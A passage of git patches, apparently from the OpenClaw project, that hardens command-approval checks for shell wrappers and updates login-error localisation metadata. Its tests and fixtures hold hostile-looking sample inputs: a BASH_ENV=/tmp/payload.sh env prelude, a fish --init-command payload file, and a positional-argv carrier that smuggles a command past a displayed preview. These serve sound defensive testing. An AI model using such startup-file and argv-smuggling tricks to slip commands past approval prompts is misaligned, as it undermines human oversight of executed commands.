"i"); +} + +function isPosixShortOption(token: string, option: string): boolean { + if (token.length < 2 || token[0] !== "-" || token[1] === "-") { + return false; + } + const optionChars = token.slice(1); + return !optionChars.includes("-") && optionChars.includes(option); +} + +function advancePosixInlineOptionScan(token: string): number { + const combinedValueCount = combinedSeparateValueOptionCount(token); + if (combinedValueCount > 0) { + return 1 + combinedValueCount; + } + if (consumesSeparateValue(token)) { + return 2; + } + return 1; +} + export function resolveInlineCommandMatch( argv: string[], flags: ReadonlySet, options: { allowCombinedC?: boolean } = {}, ): { command: string | null; valueTokenIndex: number | null } { - for (let i = 1; i < argv.length; i += 1) { + for (let i = 1; i < argv.length; ) { const token = argv[i]?.trim(); if (!token) { + i += 1; continue; } const lower = normalizeLowercaseStringOrEmpty(token); if (lower === "--") { break; } - if (flags.has(lower)) { + const comparableToken = options.allowCombinedC ? token : lower; + if (flags.has(comparableToken)) { const valueTokenIndex = i + 1 < argv.length ? i + 1 : null; const command = argv[i + 1]?.trim(); return { command: command ? command : null, valueTokenIndex }; } - if (options.allowCombinedC && /^-[^-]*c[^-]*$/i.test(token)) { - const commandIndex = lower.indexOf("c"); - const inline = token.slice(commandIndex + 1).trim(); - if (inline) { - return { command: inline, valueTokenIndex: i }; + if (options.allowCombinedC && isCombinedCommandFlag(token)) { + const combined = parseCombinedCommandFlag(token); + if (combined?.attachedCommand != null) { + return { command: combined.attachedCommand.trim() || null, valueTokenIndex: i }; } - const valueTokenIndex = i + 1 < argv.length ? i + 1 : null; - const command = argv[i + 1]?.trim(); + const valueTokenIndex = i + 1 + (combined?.separateValueCount ?? 0); + const command = argv[valueTokenIndex]?.trim(); return { command: command ? command : null, valueTokenIndex }; } + if (options.allowCombinedC && !token.startsWith("-") && !token.startsWith("+")) { + break; + } + i += options.allowCombinedC ? advancePosixInlineOptionScan(token) : 1; } return { command: null, valueTokenIndex: null }; } + +export function hasPosixInteractiveStartupBeforeInlineCommand( + argv: string[], + flags: ReadonlySet, +): boolean { + let sawInteractiveMode = false; + for (let i = 1; i < argv.length; ) { + const token = argv[i]?.trim(); + if (!token) { + i += 1; + continue; + } + if (token === "--") { + return false; + } + if (isPosixInteractiveModeOption(token)) { + sawInteractiveMode = true; + } + if (flags.has(token) || isCombinedCommandFlag(token)) { + return sawInteractiveMode; + } + if (!token.startsWith("-") && !token.startsWith("+")) { + return false; + } + i += advancePosixInlineOptionScan(token); + } + return false; +} + +export function hasPosixLoginStartupBeforeInlineCommand( + argv: string[], + flags: ReadonlySet, +): boolean { + let sawLoginMode = false; + for (let i = 1; i < argv.length; ) { + const token = argv[i]?.trim(); + if (!token) { + i += 1; + continue; + } + if (token === "--") { + return false; + } + if (token === "--login" || isPosixShortOption(token, "l")) { + sawLoginMode = true; + } + if (flags.has(token) || isCombinedCommandFlag(token)) { + return sawLoginMode; + } + if (!token.startsWith("-") && !token.startsWith("+")) { + return false; + } + i += advancePosixInlineOptionScan(token); + } + return false; +} + +export function hasFishInitCommandOption(argv: string[]): boolean { + for (let i = 1; i < argv.length; i += 1) { + const token = argv[i]?.trim(); + if (!token) { + continue; + } + if (token === "--") { + return false; + } + if ( + token === "-C" || + token === "--init-command" || + (token.startsWith("-C") && token !== "-C") || + token.startsWith("--init-command=") + ) { + return true; + } + if (!token.startsWith("-") && !token.startsWith("+")) { + return false; + } + } + return false; +} + +export function hasFishAttachedCommandOption(argv: string[]): boolean { + for (let i = 1; i < argv.length; i += 1) { + const token = argv[i]?.trim(); + if (!token) { + continue; + } + if (token === "--") { + return false; + } + if (token.startsWith("-c") && token !== "-c") { + return true; + } + if (!token.startsWith("-") && !token.startsWith("+")) { + return false; + } + } + return false; +} diff --git a/src/infra/shell-wrapper-resolution.ts b/src/infra/shell-wrapper-resolution.ts index 3979a35d1ff..c9595ae7a59 100644 --- a/src/infra/shell-wrapper-resolution.ts +++ b/src/infra/shell-wrapper-resolution.ts @@ -6,6 +6,10 @@ import { } from "./dispatch-wrapper-resolution.js"; import { normalizeExecutableToken } from "./exec-wrapper-tokens.js"; import { + hasFishAttachedCommandOption, + hasFishInitCommandOption, + hasPosixInteractiveStartupBeforeInlineCommand, + hasPosixLoginStartupBeforeInlineCommand, POSIX_INLINE_COMMAND_FLAGS, POWERSHELL_INLINE_COMMAND_FLAGS, resolveInlineCommandMatch, @@ -37,6 +41,7 @@ const SHELL_WRAPPER_CANONICAL = new Set([ ...WINDOWS_CMD_WRAPPER_NAMES, ...POWERSHELL_WRAPPER_NAMES, ]); +const LOGIN_STARTUP_SHELL_WRAPPER_CANONICAL = new Set(POSIX_SHELL_WRAPPER_NAMES); type ShellWrapperKind = "posix" | "cmd" | "powershell"; @@ -235,6 +240,49 @@ function extractShellWrapperPayload(argv: string[], spec: ShellWrapperSpec): str throw new Error("Unsupported shell wrapper kind"); } +function isLegacyLoginInlineForm(argv: string[]): boolean { + return argv[1]?.trim() === "-lc"; +} + +function isLegacyShLoginInlineForm(argv: string[], baseExecutable: string): boolean { + return baseExecutable === "sh" && isLegacyLoginInlineForm(argv); +} + +function formatShellWrapperArgv(argv: string[]): string { + return argv + .map((arg) => { + if (arg.length === 0) { + return '""'; + } + return /\s|"/.test(arg) ? `"${arg.replace(/"/g, '\\"')}"` : arg; + }) + .join(" "); +} + +function startupWrapperRequiresFullArgv(params: { + argv: string[]; + spec: ShellWrapperSpec; + baseExecutable: string; + includeLegacyLoginInlineForm: boolean; +}): boolean { + if (params.spec.kind !== "posix") { + return false; + } + if (params.baseExecutable === "fish" && hasFishInitCommandOption(params.argv)) { + return true; + } + if ( + LOGIN_STARTUP_SHELL_WRAPPER_CANONICAL.has(params.baseExecutable) && + hasPosixLoginStartupBeforeInlineCommand(params.argv, POSIX_INLINE_COMMAND_FLAGS) + ) { + return ( + params.includeLegacyLoginInlineForm || + !isLegacyShLoginInlineForm(params.argv, params.baseExecutable) + ); + } + return hasPosixInteractiveStartupBeforeInlineCommand(params.argv, POSIX_INLINE_COMMAND_FLAGS); +} + function hasEnvManipulationBeforeShellWrapperInternal( argv: string[], depth: number, @@ -270,12 +318,52 @@ function extractShellWrapperCommandInternal( rawCommand: string | null, depth: number, ): ShellWrapperCommand { - const resolved = resolveShellWrapperSpecAndArgvInternal(argv, depth); + const candidate = resolveShellWrapperCandidate({ argv, depth, state: null }); + if (!candidate) { + return { isWrapper: false, command: null }; + } + + const baseExecutable = normalizeExecutableToken(candidate.token0); + const wrapper = findShellWrapperSpec(baseExecutable); + if (!wrapper) { + return { isWrapper: false, command: null }; + } + const payload = extractShellWrapperPayload(candidate.argv, wrapper); + if (!payload) { + return { isWrapper: false, command: null }; + } + if ( + wrapper.kind === "posix" && + baseExecutable === "fish" && + hasFishAttachedCommandOption(candidate.argv) + ) { + return { isWrapper: true, command: null }; + } + const rawMatchesPayload = rawCommand === payload; + const rawMatchesCanonicalArgv = rawCommand === formatShellWrapperArgv(candidate.argv); + const allowLegacyShLoginPayloadBinding = + isLegacyShLoginInlineForm(candidate.argv, baseExecutable) && + (rawMatchesPayload || rawMatchesCanonicalArgv); + if ( + startupWrapperRequiresFullArgv({ + argv: candidate.argv, + spec: wrapper, + baseExecutable, + includeLegacyLoginInlineForm: !allowLegacyShLoginPayloadBinding, + }) + ) { + return { isWrapper: true, command: null }; + } + + const resolved = resolveShellWrapperSpecAndArgvInternal(candidate.argv, depth); if (!resolved) { return { isWrapper: false, command: null }; } - return { isWrapper: true, command: rawCommand ?? resolved.payload }; + return { + isWrapper: true, + command: rawMatchesCanonicalArgv ? resolved.payload : (rawCommand ?? resolved.payload), + }; } export function resolveShellWrapperTransportArgv(argv: string[]): string[] | null { @@ -283,8 +371,14 @@ export function resolveShellWrapperTransportArgv(argv: string[]): string[] | nul } export function extractShellWrapperInlineCommand(argv: string[]): string | null { - const extracted = extractShellWrapperCommandInternal(argv, null, 0); - return extracted.isWrapper ? extracted.command : null; + return resolveShellWrapperSpecAndArgvInternal(argv, 0)?.payload ?? null; +} + +export function extractBindableShellWrapperInlineCommand( + argv: string[], + rawCommand?: string | null, +): string | null { + return extractShellWrapperCommandInternal(argv, normalizeRawCommand(rawCommand), 0).command; } export function extractShellWrapperCommand( @@ -293,3 +387,8 @@ export function extractShellWrapperCommand( ): ShellWrapperCommand { return extractShellWrapperCommandInternal(argv, normalizeRawCommand(rawCommand), 0); } + +export function isBlockedShellWrapperCommand(argv: string[], rawCommand?: string | null): boolean { + const extracted = extractShellWrapperCommandInternal(argv, normalizeRawCommand(rawCommand), 0); + return extracted.isWrapper && extracted.command === null; +} diff --git a/src/infra/system-run-command.test.ts b/src/infra/system-run-command.test.ts index a63321f767f..ca43a4d2b54 100644 --- a/src/infra/system-run-command.test.ts +++ b/src/infra/system-run-command.test.ts @@ -34,8 +34,12 @@ describe("system run command helpers", () => { expect(formatExecCommand(["runner "])).toBe('"runner "'); }); - test("extractShellCommandFromArgv extracts sh -lc command", () => { - expect(extractShellCommandFromArgv(["/bin/sh", "-lc", "echo hi"])).toBe("echo hi"); + test("extractShellCommandFromArgv fails closed for rawless sh -lc command", () => { + expect(extractShellCommandFromArgv(["/bin/sh", "-lc", "echo hi"])).toBe(null); + }); + + test("extractShellCommandFromArgv extracts sh -c command", () => { + expect(extractShellCommandFromArgv(["/bin/sh", "-c", "echo hi"])).toBe("echo hi"); }); test("extractShellCommandFromArgv extracts cmd.exe /c command", () => { @@ -43,16 +47,16 @@ describe("system run command helpers", () => { }); test("extractShellCommandFromArgv unwraps /usr/bin/env shell wrappers", () => { - expect(extractShellCommandFromArgv(["/usr/bin/env", "bash", "-lc", "echo hi"])).toBe("echo hi"); + expect(extractShellCommandFromArgv(["/usr/bin/env", "bash", "-c", "echo hi"])).toBe("echo hi"); expect(extractShellCommandFromArgv(["/usr/bin/env", "FOO=bar", "zsh", "-c", "echo hi"])).toBe( "echo hi", ); }); test.each([ - { argv: ["/usr/bin/nice", "/bin/bash", "-lc", "echo hi"], expected: "echo hi" }, + { argv: ["/usr/bin/nice", "/bin/bash", "-c", "echo hi"], expected: "echo hi" }, { - argv: ["/usr/bin/timeout", "--signal=TERM", "5", "zsh", "-lc", "echo hi"], + argv: ["/usr/bin/timeout", "--signal=TERM", "5", "zsh", "-c", "echo hi"], expected: "echo hi", }, { @@ -74,7 +78,7 @@ describe("system run command helpers", () => { { argv: ["pwsh", "-EncodedCommand", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, { argv: ["powershell", "-enc", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, { argv: ["busybox", "sh", "-c", "echo hi"], expected: "echo hi" }, - { argv: ["toybox", "ash", "-lc", "echo hi"], expected: "echo hi" }, + { argv: ["toybox", "ash", "-c", "echo hi"], expected: "echo hi" }, ])("extractShellCommandFromArgv unwraps %j", ({ argv, expected }) => { expect(extractShellCommandFromArgv(argv)).toBe(expected); }); @@ -131,6 +135,26 @@ describe("system run command helpers", () => { expect(res.previewText).toBe("echo hi"); }); + test("validateSystemRunCommandConsistency preserves legacy sh -lc payload binding only for sh", () => { + const sh = expectValidResult( + validateSystemRunCommandConsistency({ + argv: ["/bin/sh", "-lc", "/usr/bin/printf ok"], + rawCommand: "/usr/bin/printf ok", + allowLegacyShellText: true, + }), + ); + expect(sh.previewText).toBe("/usr/bin/printf ok"); + + expectRawCommandMismatch({ + argv: ["/bin/bash", "-lc", "/usr/bin/printf ok"], + rawCommand: "/usr/bin/printf ok", + }); + }); + + test("extractShellCommandFromArgv treats uppercase posix C as a shell option, not command mode", () => { + expect(extractShellCommandFromArgv(["/bin/bash", "-C", "echo hi"])).toBe(null); + }); + test("validateSystemRunCommandConsistency rejects shell-only rawCommand for positional-argv carrier wrappers", () => { expectRawCommandMismatch({ argv: ["/bin/sh", "-lc", '$0 "$1"', "/usr/bin/touch", "/tmp/marker"], @@ -141,7 +165,7 @@ describe("system run command helpers", () => { test("validateSystemRunCommandConsistency accepts rawCommand matching env shell wrapper argv", () => { const res = expectValidResult( validateSystemRunCommandConsistency({ - argv: ["/usr/bin/env", "bash", "-lc", "echo hi"], + argv: ["/usr/bin/env", "bash", "-c", "echo hi"], rawCommand: "echo hi", allowLegacyShellText: true, }), @@ -156,6 +180,33 @@ describe("system run command helpers", () => { }); }); + test.each([ + { argv: ["/bin/bash", "--login", "-c", "/usr/bin/printf ok"] }, + { argv: ["/bin/bash", "-i", "-c", "/usr/bin/printf ok"] }, + { argv: ["/usr/bin/fish", "--init-command=/tmp/payload.fish", "-c", "/usr/bin/printf ok"] }, + ])( + "validateSystemRunCommandConsistency rejects shell-only rawCommand for startup wrapper %j", + ({ argv }) => { + expectRawCommandMismatch({ + argv, + rawCommand: "/usr/bin/printf ok", + }); + }, + ); + + test("validateSystemRunCommandConsistency accepts full rawCommand for startup wrapper argv", () => { + const raw = '/bin/bash --login -c "/usr/bin/printf ok"'; + const res = expectValidResult( + validateSystemRunCommandConsistency({ + argv: ["/bin/bash", "--login", "-c", "/usr/bin/printf ok"], + rawCommand: raw, + }), + ); + expect(res.shellPayload).toBe(null); + expect(res.commandText).toBe(raw); + expect(res.previewText).toBe(null); + }); + test("validateSystemRunCommandConsistency accepts full rawCommand for env assignment prelude", () => { const raw = '/usr/bin/env BASH_ENV=/tmp/payload.sh bash -lc "echo hi"'; const res = expectValidResult( @@ -164,7 +215,7 @@ describe("system run command helpers", () => { rawCommand: raw, }), ); - expect(res.shellPayload).toBe("echo hi"); + expect(res.shellPayload).toBe(null); expect(res.commandText).toBe(raw); expect(res.previewText).toBe(null); }); @@ -241,9 +292,9 @@ describe("system run command helpers", () => { resolveSystemRunCommand({ command: ["/usr/bin/arch", "-arm64", "/bin/sh", "-lc", "echo hi"], }), - expectedShellPayload: process.platform === "darwin" ? "echo hi" : null, + expectedShellPayload: null, expectedCommandText: '/usr/bin/arch -arm64 /bin/sh -lc "echo hi"', - expectedPreviewText: process.platform === "darwin" ? "echo hi" : null, + expectedPreviewText: null, }, { name: "resolveSystemRunCommand unwraps xcrun before deriving shell previews", @@ -251,9 +302,9 @@ describe("system run command helpers", () => { resolveSystemRunCommand({ command: ["/usr/bin/xcrun", "/bin/sh", "-lc", "echo hi"], }), - expectedShellPayload: process.platform === "darwin" ? "echo hi" : null, + expectedShellPayload: null, expectedCommandText: '/usr/bin/xcrun /bin/sh -lc "echo hi"', - expectedPreviewText: process.platform === "darwin" ? "echo hi" : null, + expectedPreviewText: null, }, { name: "resolveSystemRunCommandRequest accepts legacy shell payloads but returns canonical command text", @@ -273,7 +324,7 @@ describe("system run command helpers", () => { resolveSystemRunCommand({ command: ["/bin/sh", "-lc", '$0 "$1"', "/usr/bin/touch", "/tmp/marker"], }), - expectedShellPayload: '$0 "$1"', + expectedShellPayload: null, expectedCommandText: '/bin/sh -lc "$0 \\"$1\\"" /usr/bin/touch /tmp/marker', expectedPreviewText: null, }, @@ -283,7 +334,7 @@ describe("system run command helpers", () => { resolveSystemRunCommand({ command: ["/usr/bin/env", "BASH_ENV=/tmp/payload.sh", "bash", "-lc", "echo hi"], }), - expectedShellPayload: "echo hi", + expectedShellPayload: null, expectedCommandText: '/usr/bin/env BASH_ENV=/tmp/payload.sh bash -lc "echo hi"', expectedPreviewText: null, }, diff --git a/src/infra/system-run-command.ts b/src/infra/system-run-command.ts index f9974f648e9..36b1d7c505b 100644 --- a/src/infra/system-run-command.ts +++ b/src/infra/system-run-command.ts @@ -105,8 +105,15 @@ function hasTrailingPositionalArgvAfterInlineCommand(argv: string[]): boolean { return wrapperArgv.slice(inlineCommandIndex + 1).some((entry) => entry.trim().length > 0); } -function buildSystemRunCommandDisplay(argv: string[]): SystemRunCommandDisplay { - const shellWrapperResolution = extractShellWrapperCommand(argv); +function buildSystemRunCommandDisplay( + argv: string[], + rawCommand: string | null, +): SystemRunCommandDisplay { + const rawlessShellWrapperResolution = extractShellWrapperCommand(argv); + const shellWrapperResolution = + rawlessShellWrapperResolution.command === null && rawCommand !== null + ? extractShellWrapperCommand(argv, rawCommand) + : rawlessShellWrapperResolution; const shellPayload = shellWrapperResolution.command; const shellWrapperPositionalArgv = hasTrailingPositionalArgvAfterInlineCommand(argv); const envManipulationBeforeShellWrapper = @@ -133,7 +140,7 @@ export function validateSystemRunCommandConsistency(params: { allowLegacyShellText?: boolean; }): SystemRunCommandValidation { const raw = normalizeRawCommandText(params.rawCommand); - const display = buildSystemRunCommandDisplay(params.argv); + const display = buildSystemRunCommandDisplay(params.argv, raw); if (raw) { const matchesCanonicalArgv = raw === display.commandText; diff --git a/src/node-host/invoke-system-run-plan.ts b/src/node-host/invoke-system-run-plan.ts index 0df201108d4..40fbe0ce3d3 100644 --- a/src/node-host/invoke-system-run-plan.ts +++ b/src/node-host/invoke-system-run-plan.ts @@ -8,6 +8,7 @@ import type { import { resolveCommandResolutionFromArgv } from "../infra/exec-command-resolution.js"; import { isInterpreterLikeSafeBin } from "../infra/exec-safe-bin-runtime-policy.js"; import { + isBlockedShellWrapperCommand, POSIX_SHELL_WRAPPERS, normalizeExecutableToken, unwrapKnownDispatchWrapperInvocation, @@ -1303,6 +1304,12 @@ export function buildSystemRunApprovalPlan(params: { if (command.argv.length === 0) { return { ok: false, message: "command required" }; } + if (command.shellPayload === null && isBlockedShellWrapperCommand(command.argv)) { + return { + ok: false, + message: "SYSTEM_RUN_DENIED: approval cannot safely bind this interpreter/runtime command", + }; + } const hardening = hardenApprovedExecutionPaths({ approvedByAsk: true, argv: command.argv, diff --git a/src/node-host/invoke-system-run.test.ts b/src/node-host/invoke-system-run.test.ts index de3265952af..e027f0b2ac9 100644 --- a/src/node-host/invoke-system-run.test.ts +++ b/src/node-host/invoke-system-run.test.ts @@ -1528,7 +1528,7 @@ describe("handleSystemRunInvoke mac app exec host routing", () => { const tempDir = createFixtureDir("openclaw-shell-wrapper-allow-"); const prepared = buildSystemRunApprovalPlan({ - command: ["/bin/sh", "-lc", "cd ."], + command: ["/bin/sh", "-c", "cd ."], cwd: tempDir, }); expect(prepared.ok).toBe(true); diff --git a/test/fixtures/system-run-command-contract.json b/test/fixtures/system-run-command-contract.json index 943981078ea..dc3b45f323f 100644 --- a/test/fixtures/system-run-command-contract.json +++ b/test/fixtures/system-run-command-contract.json @@ -26,6 +26,15 @@ "displayCommand": "/bin/sh -lc \"echo hi\"" } }, + { + "name": "non-sh login shell wrapper requires full argv display binding", + "command": ["/bin/bash", "-lc", "/usr/bin/printf ok"], + "rawCommand": "/usr/bin/printf ok", + "expected": { + "valid": false, + "errorContains": "rawCommand does not match command" + } + }, { "name": "shell wrapper positional argv carrier requires full argv display binding", "command": ["/bin/sh", "-lc", "$0 \"$1\"", "/usr/bin/touch", "/tmp/marker"], @@ -46,11 +55,11 @@ }, { "name": "env wrapper shell payload accepted at ingress when prelude has no env modifiers", - "command": ["/usr/bin/env", "bash", "-lc", "echo hi"], + "command": ["/usr/bin/env", "sh", "-lc", "echo hi"], "rawCommand": "echo hi", "expected": { "valid": true, - "displayCommand": "/usr/bin/env bash -lc \"echo hi\"" + "displayCommand": "/usr/bin/env sh -lc \"echo hi\"" } }, { @@ -79,6 +88,42 @@ "valid": true, "displayCommand": "/usr/bin/env BASH_ENV=/tmp/payload.sh bash -lc \"echo hi\"" } + }, + { + "name": "login shell wrapper requires full argv display binding", + "command": ["/bin/bash", "--login", "-c", "/usr/bin/printf ok"], + "rawCommand": "/usr/bin/printf ok", + "expected": { + "valid": false, + "errorContains": "rawCommand does not match command" + } + }, + { + "name": "login shell wrapper accepts canonical full argv raw command", + "command": ["/bin/bash", "--login", "-c", "/usr/bin/printf ok"], + "rawCommand": "/bin/bash --login -c \"/usr/bin/printf ok\"", + "expected": { + "valid": true, + "displayCommand": "/bin/bash --login -c \"/usr/bin/printf ok\"" + } + }, + { + "name": "interactive shell wrapper requires full argv display binding", + "command": ["/bin/bash", "-i", "-c", "/usr/bin/printf ok"], + "rawCommand": "/usr/bin/printf ok", + "expected": { + "valid": false, + "errorContains": "rawCommand does not match command" + } + }, + { + "name": "fish init-command wrapper requires full argv display binding", + "command": ["/usr/bin/fish", "--init-command=/tmp/payload.fish", "-c", "/usr/bin/printf ok"], + "rawCommand": "/usr/bin/printf ok", + "expected": { + "valid": false, + "errorContains": "rawCommand does not match command" + } } ] } From 79e31421225b0b66db1d1849a69d71128488e2ee Mon Sep 17 00:00:00 2001 From: Val Alexander Date: Thu, 7 May 2026 23:52:48 -0500 Subject: [PATCH 002/174] fix(control-ui): clarify login failure guidance Summary: - Replace raw Control UI login failures with structured remediation guidance. - Classify auth, pairing, insecure HTTP, origin, protocol mismatch, and transport failures without changing Gateway protocol/auth contracts. - Localize the new login failure copy across shipped Control UI locale bundles and add regression coverage. Verification: - pnpm ui:i18n:sync - pnpm ui:i18n:check - pnpm exec vitest run --config test/vitest/vitest.ui.config.ts ui/src/i18n/test/translate.test.ts - pnpm test ui/src/ui/views/login-gate.test.ts ui/src/ui/views/overview.node.test.ts ui/src/ui/app-gateway.node.test.ts - pnpm tsgo:test:ui - pnpm exec oxfmt --check --threads=1 CHANGELOG.md ui/src/i18n/locales/*.ts ui/src/i18n/test/translate.test.ts ui/src/styles/components.css ui/src/ui/views/login-gate.ts ui/src/ui/views/login-gate.test.ts - git diff --check origin/main..HEAD - Testbox: pnpm check:changed, https://github.com/openclaw/openclaw/actions/runs/25536382431 Notes: - Current broad CI has unrelated failures in files outside this PR diff; the PR-specific changed gate and touched UI/i18n checks passed. - Closes none. --- CHANGELOG.md | 1 + ui/src/i18n/.i18n/ar.meta.json | 8 +- ui/src/i18n/.i18n/de.meta.json | 8 +- ui/src/i18n/.i18n/es.meta.json | 8 +- ui/src/i18n/.i18n/fa.meta.json | 8 +- ui/src/i18n/.i18n/fr.meta.json | 8 +- ui/src/i18n/.i18n/id.meta.json | 8 +- ui/src/i18n/.i18n/it.meta.json | 8 +- ui/src/i18n/.i18n/ja-JP.meta.json | 8 +- ui/src/i18n/.i18n/ko.meta.json | 8 +- ui/src/i18n/.i18n/nl.meta.json | 8 +- ui/src/i18n/.i18n/pl.meta.json | 8 +- ui/src/i18n/.i18n/pt-BR.meta.json | 8 +- ui/src/i18n/.i18n/th.meta.json | 8 +- ui/src/i18n/.i18n/tr.meta.json | 8 +- ui/src/i18n/.i18n/uk.meta.json | 8 +- ui/src/i18n/.i18n/vi.meta.json | 8 +- ui/src/i18n/.i18n/zh-CN.meta.json | 8 +- ui/src/i18n/.i18n/zh-TW.meta.json | 8 +- ui/src/i18n/locales/ar.ts | 82 +++++++++ ui/src/i18n/locales/de.ts | 92 ++++++++++ ui/src/i18n/locales/en.ts | 87 +++++++++ ui/src/i18n/locales/es.ts | 91 ++++++++++ ui/src/i18n/locales/fa.ts | 91 ++++++++++ ui/src/i18n/locales/fr.ts | 95 ++++++++++ ui/src/i18n/locales/id.ts | 89 ++++++++++ ui/src/i18n/locales/it.ts | 92 ++++++++++ ui/src/i18n/locales/ja-JP.ts | 90 ++++++++++ ui/src/i18n/locales/ko.ts | 87 +++++++++ ui/src/i18n/locales/nl.ts | 91 ++++++++++ ui/src/i18n/locales/pl.ts | 88 +++++++++ ui/src/i18n/locales/pt-BR.ts | 88 +++++++++ ui/src/i18n/locales/th.ts | 73 ++++++++ ui/src/i18n/locales/tr.ts | 91 ++++++++++ ui/src/i18n/locales/uk.ts | 89 ++++++++++ ui/src/i18n/locales/vi.ts | 84 +++++++++ ui/src/i18n/locales/zh-CN.ts | 70 ++++++++ ui/src/i18n/locales/zh-TW.ts | 71 ++++++++ ui/src/i18n/test/translate.test.ts | 43 +++++ ui/src/styles/components.css | 49 +++++ ui/src/ui/views/login-gate.test.ts | 202 +++++++++++++++++++++ ui/src/ui/views/login-gate.ts | 276 ++++++++++++++++++++++++++++- 42 files changed, 2279 insertions(+), 77 deletions(-) create mode 100644 ui/src/ui/views/login-gate.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index ede73371f3b..49b5aa90b84 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -212,6 +212,7 @@ Docs: https://docs.openclaw.ai - Control UI/chat: wait for an in-flight model dropdown patch before sending the next chat message, so immediate sends use the selected session model instead of racing the previous override. Fixes #54240. - Native chat: decode gateway-provided thinking metadata for the iOS/macOS picker so provider-specific levels such as `adaptive`, `xhigh`, and `max` appear without leaking unsupported default-model options. Thanks @BunsDev. - Agents/compaction: cap summarization output reserve tokens to the selected model's `maxTokens` so 1M-context Anthropic compactions do not request more output than the API permits. Fixes #54383. +- Control UI/login: replace raw connection failures with structured, actionable login guidance for auth, pairing, insecure HTTP, origin, protocol, and transport failures. Thanks @BunsDev. - Agents/tools: fail `exec host=node` before `system.run` when the selected node is known to be disconnected, with an actionable reconnect message instead of a raw node invoke failure. Thanks @BunsDev. - Agents/models: accept legacy `anthropic-cli/*` model refs as Claude CLI runtime refs instead of failing model resolution with `Unknown model`. Thanks @BunsDev. - Agents/tools: keep restrictive-profile tool-section warnings scoped to the configured sections whose tools are still missing from `alsoAllow`, so already re-allowed filesystem tools do not make exec-only fixes look broader than they are. Thanks @BunsDev. diff --git a/ui/src/i18n/.i18n/ar.meta.json b/ui/src/i18n/.i18n/ar.meta.json index e38f7b209af..4cf0ba38546 100644 --- a/ui/src/i18n/.i18n/ar.meta.json +++ b/ui/src/i18n/.i18n/ar.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:42:19.907Z", + "generatedAt": "2026-05-08T04:13:40.051Z", "locale": "ar", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/de.meta.json b/ui/src/i18n/.i18n/de.meta.json index 26d6d859551..cb845aefc3c 100644 --- a/ui/src/i18n/.i18n/de.meta.json +++ b/ui/src/i18n/.i18n/de.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:40:14.851Z", + "generatedAt": "2026-05-08T04:13:38.691Z", "locale": "de", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/es.meta.json b/ui/src/i18n/.i18n/es.meta.json index b52a208f5b4..75fdf9671b2 100644 --- a/ui/src/i18n/.i18n/es.meta.json +++ b/ui/src/i18n/.i18n/es.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:41:08.735Z", + "generatedAt": "2026-05-08T04:13:38.962Z", "locale": "es", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/fa.meta.json b/ui/src/i18n/.i18n/fa.meta.json index 8fc697a6f23..b0ad950e59d 100644 --- a/ui/src/i18n/.i18n/fa.meta.json +++ b/ui/src/i18n/.i18n/fa.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:44:40.727Z", + "generatedAt": "2026-05-08T04:13:42.501Z", "locale": "fa", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/fr.meta.json b/ui/src/i18n/.i18n/fr.meta.json index a620a59284f..ae4a25b2a28 100644 --- a/ui/src/i18n/.i18n/fr.meta.json +++ b/ui/src/i18n/.i18n/fr.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:41:53.107Z", + "generatedAt": "2026-05-08T04:13:39.779Z", "locale": "fr", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/id.meta.json b/ui/src/i18n/.i18n/id.meta.json index e696f0077bb..bc6d69a42c9 100644 --- a/ui/src/i18n/.i18n/id.meta.json +++ b/ui/src/i18n/.i18n/id.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:43:13.759Z", + "generatedAt": "2026-05-08T04:13:41.135Z", "locale": "id", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/it.meta.json 